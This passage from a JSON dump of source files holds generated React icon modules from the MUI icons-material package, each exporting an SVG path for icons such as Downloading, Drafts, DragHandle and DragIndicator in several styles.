    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 9V5h-2v6H9.83L12 13.17 14.17 11H13z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 9V3H9v6H5l7 7 7-7zm-3 4.17L9.83 11H11V5h2v6h1.17zM5 18h14v2H5z\"\n}, \"1\")], 'DownloadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Downloading.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.32 4.26C16.84 3.05 15.01 2.25 13 2.05v2.02c1.46.18 2.79.76 3.9 1.62zM19.93 11h2.02c-.2-2.01-1-3.84-2.21-5.32L18.31 7.1c.86 1.11 1.44 2.44 1.62 3.9m-1.62 5.9 1.43 1.43c1.21-1.48 2.01-3.32 2.21-5.32h-2.02c-.18 1.45-.76 2.78-1.62 3.89M13 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.43-1.43c-1.1.86-2.43 1.44-3.89 1.62M13 12V7h-2v5H7l5 5 5-5zm-2 7.93v2.02c-5.05-.5-9-4.76-9-9.95s3.95-9.45 9-9.95v2.02C7.05 4.56 4 7.92 4 12s3.05 7.44 7 7.93\"\n}), 'Downloading');"
  },
  {
    "path": "packages/mui-icons-material/lib/Downloading.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.32 4.26C16.84 3.05 15.01 2.25 13 2.05v2.02c1.46.18 2.79.76 3.9 1.62zM19.93 11h2.02c-.2-2.01-1-3.84-2.21-5.32L18.31 7.1c.86 1.11 1.44 2.44 1.62 3.9m-1.62 5.9 1.43 1.43c1.21-1.48 2.01-3.32 2.21-5.32h-2.02c-.18 1.45-.76 2.78-1.62 3.89M13 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.43-1.43c-1.1.86-2.43 1.44-3.89 1.62M13 12V7h-2v5H7l5 5 5-5zm-2 7.93v2.02c-5.05-.5-9-4.76-9-9.95s3.95-9.45 9-9.95v2.02C7.05 4.56 4 7.92 4 12s3.05 7.44 7 7.93\"\n}), 'Downloading');"
  },
  {
    "path": "packages/mui-icons-material/lib/DownloadingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.32 4.26C16.84 3.05 15.01 2.25 13 2.05v2.02c1.46.18 2.79.76 3.9 1.62zM19.93 11h2.02c-.2-2.01-1-3.84-2.21-5.32L18.31 7.1c.86 1.11 1.44 2.44 1.62 3.9m-1.62 5.9 1.43 1.43c1.21-1.48 2.01-3.32 2.21-5.32h-2.02c-.18 1.45-.76 2.78-1.62 3.89M13 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.43-1.43c-1.1.86-2.43 1.44-3.89 1.62m2.59-9.34L13 13.17V7h-2v6.17l-2.59-2.59L7 12l5 5 5-5zM11 19.93v2.02c-5.05-.5-9-4.76-9-9.95s3.95-9.45 9-9.95v2.02C7.05 4.56 4 7.92 4 12s3.05 7.44 7 7.93\"\n}), 'DownloadingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DownloadingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.32 4.26C16.84 3.05 15.01 2.25 13 2.05v2.02c1.46.18 2.79.76 3.9 1.62zM19.93 11h2.02c-.2-2.01-1-3.84-2.21-5.32L18.31 7.1c.86 1.11 1.44 2.44 1.62 3.9m-1.62 5.9 1.43 1.43c1.21-1.48 2.01-3.32 2.21-5.32h-2.02c-.18 1.45-.76 2.78-1.62 3.89M13 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.43-1.43c-1.1.86-2.43 1.44-3.89 1.62m2.59-9.34L13 13.17V7h-2v6.17l-2.59-2.59L7 12l5 5 5-5zM11 19.93v2.02c-5.05-.5-9-4.76-9-9.95s3.95-9.45 9-9.95v2.02C7.05 4.56 4 7.92 4 12s3.05 7.44 7 7.93\"\n}), 'DownloadingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DownloadingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.33 3.55c-.94-.6-1.99-1.04-3.12-1.3-.62-.14-1.21.34-1.21.98 0 .45.3.87.74.97.91.2 1.77.56 2.53 1.05.39.25.89.17 1.22-.16.45-.45.38-1.2-.16-1.54M20.77 11c.64 0 1.13-.59.98-1.21-.26-1.12-.7-2.17-1.3-3.12-.34-.54-1.1-.61-1.55-.16-.32.32-.4.83-.16 1.22.49.77.85 1.62 1.05 2.53.11.44.52.74.98.74m-1.87 6.49c.45.45 1.21.38 1.55-.15.6-.94 1.04-1.99 1.3-3.11.14-.62-.35-1.21-.98-1.21-.45 0-.87.3-.97.74-.2.91-.57 1.76-1.05 2.53-.25.37-.17.88.15 1.2M13 20.77c0 .64.59 1.13 1.21.98 1.12-.26 2.17-.7 3.11-1.3.54-.34.61-1.1.16-1.55-.32-.32-.83-.4-1.21-.15-.76.49-1.61.85-2.53 1.05-.44.1-.74.51-.74.97M13 12V8c0-.55-.45-1-1-1s-1 .45-1 1v4H9.41c-.89 0-1.34 1.08-.71 1.71l2.59 2.59c.39.39 1.02.39 1.41 0l2.59-2.59c.63-.63.18-1.71-.71-1.71zm-2 8.77c0 .64-.59 1.13-1.21.99C5.33 20.75 2 16.77 2 12s3.33-8.75 7.79-9.75c.62-.14 1.21.34 1.21.98 0 .46-.31.87-.76.97C6.67 5 4 8.19 4 12s2.67 7 6.24 7.8c.45.1.76.51.76.97\"\n}), 'DownloadingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DownloadingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.33 3.55c-.94-.6-1.99-1.04-3.12-1.3-.62-.14-1.21.34-1.21.98 0 .45.3.87.74.97.91.2 1.77.56 2.53 1.05.39.25.89.17 1.22-.16.45-.45.38-1.2-.16-1.54M20.77 11c.64 0 1.13-.59.98-1.21-.26-1.12-.7-2.17-1.3-3.12-.34-.54-1.1-.61-1.55-.16-.32.32-.4.83-.16 1.22.49.77.85 1.62 1.05 2.53.11.44.52.74.98.74m-1.87 6.49c.45.45 1.21.38 1.55-.15.6-.94 1.04-1.99 1.3-3.11.14-.62-.35-1.21-.98-1.21-.45 0-.87.3-.97.74-.2.91-.57 1.76-1.05 2.53-.25.37-.17.88.15 1.2M13 20.77c0 .64.59 1.13 1.21.98 1.12-.26 2.17-.7 3.11-1.3.54-.34.61-1.1.16-1.55-.32-.32-.83-.4-1.21-.15-.76.49-1.61.85-2.53 1.05-.44.1-.74.51-.74.97M13 12V8c0-.55-.45-1-1-1s-1 .45-1 1v4H9.41c-.89 0-1.34 1.08-.71 1.71l2.59 2.59c.39.39 1.02.39 1.41 0l2.59-2.59c.63-.63.18-1.71-.71-1.71zm-2 8.77c0 .64-.59 1.13-1.21.99C5.33 20.75 2 16.77 2 12s3.33-8.75 7.79-9.75c.62-.14 1.21.34 1.21.98 0 .46-.31.87-.76.97C6.67 5 4 8.19 4 12s2.67 7 6.24 7.8c.45.1.76.51.76.97\"\n}), 'DownloadingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DownloadingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.32 4.26C16.84 3.05 15.01 2.25 13 2.05v2.02c1.46.18 2.79.76 3.9 1.62zM19.93 11h2.02c-.2-2.01-1-3.84-2.21-5.32L18.31 7.1c.86 1.11 1.44 2.44 1.62 3.9m-1.62 5.9 1.43 1.43c1.21-1.48 2.01-3.32 2.21-5.32h-2.02c-.18 1.45-.76 2.78-1.62 3.89M13 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.43-1.43c-1.1.86-2.43 1.44-3.89 1.62M13 12V7h-2v5H7l5 5 5-5zm-2 7.93v2.02c-5.05-.5-9-4.76-9-9.95s3.95-9.45 9-9.95v2.02C7.05 4.56 4 7.92 4 12s3.05 7.44 7 7.93\"\n}), 'DownloadingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DownloadingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.32 4.26C16.84 3.05 15.01 2.25 13 2.05v2.02c1.46.18 2.79.76 3.9 1.62zM19.93 11h2.02c-.2-2.01-1-3.84-2.21-5.32L18.31 7.1c.86 1.11 1.44 2.44 1.62 3.9m-1.62 5.9 1.43 1.43c1.21-1.48 2.01-3.32 2.21-5.32h-2.02c-.18 1.45-.76 2.78-1.62 3.89M13 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.43-1.43c-1.1.86-2.43 1.44-3.89 1.62M13 12V7h-2v5H7l5 5 5-5zm-2 7.93v2.02c-5.05-.5-9-4.76-9-9.95s3.95-9.45 9-9.95v2.02C7.05 4.56 4 7.92 4 12s3.05 7.44 7 7.93\"\n}), 'DownloadingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DownloadingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.32 4.26C16.84 3.05 15.01 2.25 13 2.05v2.02c1.46.18 2.79.76 3.9 1.62zM19.93 11h2.02c-.2-2.01-1-3.84-2.21-5.32L18.31 7.1c.86 1.11 1.44 2.44 1.62 3.9m-1.62 5.9 1.43 1.43c1.21-1.48 2.01-3.32 2.21-5.32h-2.02c-.18 1.45-.76 2.78-1.62 3.89M13 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.43-1.43c-1.1.86-2.43 1.44-3.89 1.62M13 12V7h-2v5H7l5 5 5-5zm-2 7.93v2.02c-5.05-.5-9-4.76-9-9.95s3.95-9.45 9-9.95v2.02C7.05 4.56 4 7.92 4 12s3.05 7.44 7 7.93\"\n}), 'DownloadingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DownloadingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.32 4.26C16.84 3.05 15.01 2.25 13 2.05v2.02c1.46.18 2.79.76 3.9 1.62zM19.93 11h2.02c-.2-2.01-1-3.84-2.21-5.32L18.31 7.1c.86 1.11 1.44 2.44 1.62 3.9m-1.62 5.9 1.43 1.43c1.21-1.48 2.01-3.32 2.21-5.32h-2.02c-.18 1.45-.76 2.78-1.62 3.89M13 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.43-1.43c-1.1.86-2.43 1.44-3.89 1.62M13 12V7h-2v5H7l5 5 5-5zm-2 7.93v2.02c-5.05-.5-9-4.76-9-9.95s3.95-9.45 9-9.95v2.02C7.05 4.56 4 7.92 4 12s3.05 7.44 7 7.93\"\n}), 'DownloadingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Drafts.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.99 8c0-.72-.37-1.35-.94-1.7L12 1 2.95 6.3C2.38 6.65 2 7.28 2 8v10c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zM12 13 3.74 7.84 12 3l8.26 4.84z\"\n}), 'Drafts');"
  },
  {
    "path": "packages/mui-icons-material/lib/Drafts.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.99 8c0-.72-.37-1.35-.94-1.7L12 1 2.95 6.3C2.38 6.65 2 7.28 2 8v10c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zM12 13 3.74 7.84 12 3l8.26 4.84z\"\n}), 'Drafts');"
  },
  {
    "path": "packages/mui-icons-material/lib/DraftsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.99 8c0-.72-.37-1.35-.94-1.7L12 1 2.95 6.3C2.38 6.65 2 7.28 2 8v10c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zm-2 0v.01L12 13 4 8l8-4.68zM4 18v-7.66l8 5.02 7.99-4.99L20 18z\"\n}), 'DraftsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DraftsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.99 8c0-.72-.37-1.35-.94-1.7L12 1 2.95 6.3C2.38 6.65 2 7.28 2 8v10c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zm-2 0v.01L12 13 4 8l8-4.68zM4 18v-7.66l8 5.02 7.99-4.99L20 18z\"\n}), 'DraftsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DraftsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.99 8c0-.72-.37-1.35-.94-1.7l-8.04-4.71c-.62-.37-1.4-.37-2.02 0L2.95 6.3C2.38 6.65 2 7.28 2 8v10c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zm-11.05 4.34-7.2-4.5 7.25-4.25c.62-.37 1.4-.37 2.02 0l7.25 4.25-7.2 4.5c-.65.4-1.47.4-2.12 0\"\n}), 'DraftsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DraftsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.99 8c0-.72-.37-1.35-.94-1.7l-8.04-4.71c-.62-.37-1.4-.37-2.02 0L2.95 6.3C2.38 6.65 2 7.28 2 8v10c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zm-11.05 4.34-7.2-4.5 7.25-4.25c.62-.37 1.4-.37 2.02 0l7.25 4.25-7.2 4.5c-.65.4-1.47.4-2.12 0\"\n}), 'DraftsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DraftsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.99 6.86 12 1 2 6.86V20h20zM12 13 3.74 7.84 12 3l8.26 4.84z\"\n}), 'DraftsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DraftsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.99 6.86 12 1 2 6.86V20h20zM12 13 3.74 7.84 12 3l8.26 4.84z\"\n}), 'DraftsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DraftsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 15.36-8-5.02V18h16l-.01-7.63z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.99 8c0-.72-.37-1.35-.94-1.7L12 1 2.95 6.3C2.38 6.65 2 7.28 2 8v10c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zM12 3.32 19.99 8v.01L12 13 4 8zM4 18v-7.66l8 5.02 7.99-4.99L20 18z\"\n}, \"1\")], 'DraftsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DraftsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 15.36-8-5.02V18h16l-.01-7.63z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.99 8c0-.72-.37-1.35-.94-1.7L12 1 2.95 6.3C2.38 6.65 2 7.28 2 8v10c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zM12 3.32 19.99 8v.01L12 13 4 8zM4 18v-7.66l8 5.02 7.99-4.99L20 18z\"\n}, \"1\")], 'DraftsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DragHandle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 9H4v2h16zM4 15h16v-2H4z\"\n}), 'DragHandle');"
  },
  {
    "path": "packages/mui-icons-material/lib/DragHandle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 9H4v2h16zM4 15h16v-2H4z\"\n}), 'DragHandle');"
  },
  {
    "path": "packages/mui-icons-material/lib/DragHandleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 9H4v2h16zM4 15h16v-2H4z\"\n}), 'DragHandleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DragHandleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 9H4v2h16zM4 15h16v-2H4z\"\n}), 'DragHandleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DragHandleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9H5c-.55 0-1 .45-1 1s.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1M5 15h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'DragHandleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DragHandleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9H5c-.55 0-1 .45-1 1s.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1M5 15h14c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'DragHandleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DragHandleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 9H4v2h16zM4 15h16v-2H4z\"\n}), 'DragHandleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DragHandleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 9H4v2h16zM4 15h16v-2H4z\"\n}), 'DragHandleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DragHandleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 9h16v2H4zm0 4h16v2H4z\"\n}), 'DragHandleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DragHandleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 9h16v2H4zm0 4h16v2H4z\"\n}), 'DragHandleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DragIndicator.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 18c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m-2-8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'DragIndicator');"
  },
  {
    "path": "packages/mui-icons-material/lib/DragIndicator.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 18c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2m-2-8c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0-6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 4c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2\"\n}), 'DragIndicator');"
  },
  {
    "path": "packages/mui-icons-material/lib/DragIndicatorOutlined.js",
